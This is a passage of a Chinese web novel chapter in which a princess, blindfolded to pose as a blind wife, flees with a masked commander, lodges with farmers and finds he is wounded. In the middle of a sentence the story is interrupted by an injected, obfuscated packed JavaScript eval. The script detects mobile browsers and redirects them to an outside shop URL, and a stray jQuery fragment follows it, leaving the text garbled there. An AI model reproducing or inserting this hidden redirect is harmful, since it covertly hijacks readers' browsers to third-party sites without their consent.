腹部的伤口似乎已经逐渐止了血,但夜晚山野潮寒,他又受着伤,此刻冷得浑身轻抖。
眼下听她敛起性子这般问,墨淮只觉得连骨头缝里都像是有蚂蚁在啃咬,难受到说不出话。
但没犹豫多久,他就转身对她点头道:“以后不会了。”
“前头不远有几家农户,我们先去借宿一晚可好?”
赤璃知道现在不是过多纠结这些的时候,只是她为难地看了眼黑马:“那它呢?”
“就留在此处,自会有人牵走。”似是见她疑惑,他便又解释:“那些人认得它,不能再骑。”
听这意思,竟是连路线都是他提前规划好的。
赤璃默默别过眼神,依然觉得有些别扭。
“还有件事,要麻烦郡主。”
“什么?”
他抬起发麻的胳膊,从怀中拿出了一条素白绸带递过来:“我戴着面具太容易被追踪,所以要辛苦郡主,扮作盲女与我同行。”
话音落下,她几乎是立刻就盯向他。
认识玄泽这么多年,她也曾不止一次地想过那张银面下究竟是张怎样的脸。
冷峻?妖异?平平无奇?
亦或是毁了容所以才不敢见人。
不过好奇归好奇,实际上即便二人最水火不容的时候,她也没有提起过这件事。
君子博弈亦有道,她还没那么下作,靠揭旁人的伤疤去取胜。
不过如今他主动开了话头,赤璃也不矫情,便道:“这有何难,面具你尽管摘了就是,本郡主还不至于以貌取人,为了一张没见过的脸就不再与你合作。”
男人倒是坦然,手还保持着递出的姿势,就这么由着她打量:“我怕吓到你,还请郡主体谅。”
“怕吓到我就不怕吓到别人?指挥使连编理由都这么敷衍。”
她更凑近了些,借着月色仔细去看:“眼瞳幽润似墨,睫毛纤长,很漂亮的一双眼睛,你应该没有长得很难看吧?”
墨淮垂下眼眸:“你喜欢长得好看的?”
“这问的是什么话,谁不喜欢。”
“次辅大人那样的呢?”
赤璃神情一顿,不自在地从他手中抽走绸带,小声道:“怎么就那么爱和他比。”
又回头拿起来扬了扬:“蒙上这个你可要努力保护好我,还有,衣食住行都得你负责,生活上我可什么都不管。”
“放心,我怎么把你带出来,到时候就会怎么带你回京城。”
他勾唇一笑,停了片刻又问:“那,郡主不给他再写封平安信吗?”
她在脸上比划了半天,心不在焉回答:“暂时先不用,这种事穆国公府牵涉到的越少越好。”
最后墨淮亲手替她系好,又扶着她在空地走了一会儿来适应,确认她真的看不见之后,才缓缓摘下了面具。
为防万一,他脸上还是稍微做了些特殊处理,改变了脸型和肤色,但看上去依然气度不凡,绝非是普通人家能养出来的。
“郡主安心跟着我走就好,还是说,”他刻意一顿:“我背你?”
赤璃第一次听他没有遮挡的声音,总觉得有些耳熟,却因半天对不上出处作罢:“既是扮作盲女,总要装得像一点儿才行,难道你还能一直背着我?”
“快带我去落脚,又冷又饿的累死了。”
墨淮既然早早踩好了点,自然是将这周边都摸了个清楚。
走过一侧芦苇荡,他直接就带她往其中一户人家而去。
“官人来了。”那农户明显已不是第一次见他,但言语间还是充满拘谨和客气:“我这就和家里的给您端饭菜来,乡野粗食,您和娘子别嫌弃。”
她听罢又攒了一肚子疑问,只是碍于还有旁人在场,便神色自若地颔首:“谢谢二位。”
“娘子客气了。”农户和妇人连连摆手:“我们收了官人的银子,做这些理所应当。”
妇人又道:“朝东的那处房间我们收拾好了,被褥器具都是新的,还备了热水,官人和娘子自便就好,有什么需要就直接叫我。”
一片雾白中,赤璃隐约看见两个人笨拙地行了礼就匆匆退下,去了自己的房间闭门窝着,仿佛他们是什么凶煞的恶霸一样。
她有些阻滞地眨眨眼:“你对普通百姓也使得那威逼利诱的一套?”
墨淮牵着她的袖子往东屋走去,闻之发笑:“他们夫妇日子过得困难,我就多留了些钱银,想必是因为这个。”
说着又拉拉她的衣袖:“在你心里,我可真是十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032611|194543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恶不赦。”
她的心也跟着轻晃,丝毫没意识到男人带她进了屋,又反手锁了门。
听到锁落的那一瞬间,赤璃突然反应了过来,扯出袖子退出几丈远:“你干什么?”
“我跟他们说,你是我走丢又寻回的盲妻,所以同住一屋不是很正常。”他故作不解:“你怕什么?”
闻言,她口舌突然一阵干燥。
这么长时间,她实在是理所当然地依赖他惯了,竟没想起来问问其中的具体细节。
“可,那也不能真的住在一起吧……”
在名义上,她还是有夫之妇,虽说出门在外没法讲究太多礼制,但总归是觉得很奇怪。
况且,双方的心思又都没那么单纯……
“不这样,若被人追查起来便是无可辩解的把柄漏洞,郡主确定要分房?”
墨淮眸底笑意点点,却仗着她现在看不清,语气一本正经:“那也可以,我这就去叫他们再额外整理出一间就是。”
话虽说着,人倒是没有丝毫行动的迹象。
赤璃顿时被问住,下意识就要扯去绸带。
“郡主。”
男人见状霎时敛去笑容,简短地叫住了她:“回京之前,任何时候都要记得你的身份。”
她无奈作罢,长长叹了口气。
“好了,先用饭,你不是饿了?”他又接着缓声道。
饭菜不太合她的口味,但“逃命”在外,她也不便挑剔太多,只好鼓励着自己多吃了一些。
“你睡床,我在木板的另一头,有事就敲敲。”
朦胧间,她这才看见屋侧竖了一张很大的木板,像最简陋版的屏风。
之后墨淮一直待在那侧,熄了灯没有再说话,只能听见用水的声音。
赤璃躺在床上翻了个身,把头埋在被中面红耳赤。
真是的,要擦洗怎么不去外面,一点都不知道避着人。
可渐渐的,她隐约听到了几下极低压抑着的倒吸声,空气中也多了些铁锈味。
她终于意识到了什么,猛然坐起身:“你受伤了?”
半天没听见回应。
她顾不上许多,急忙将绸带往眼睛上一绑就摸索着朝他走去:“玄指挥使?玄瑜之?”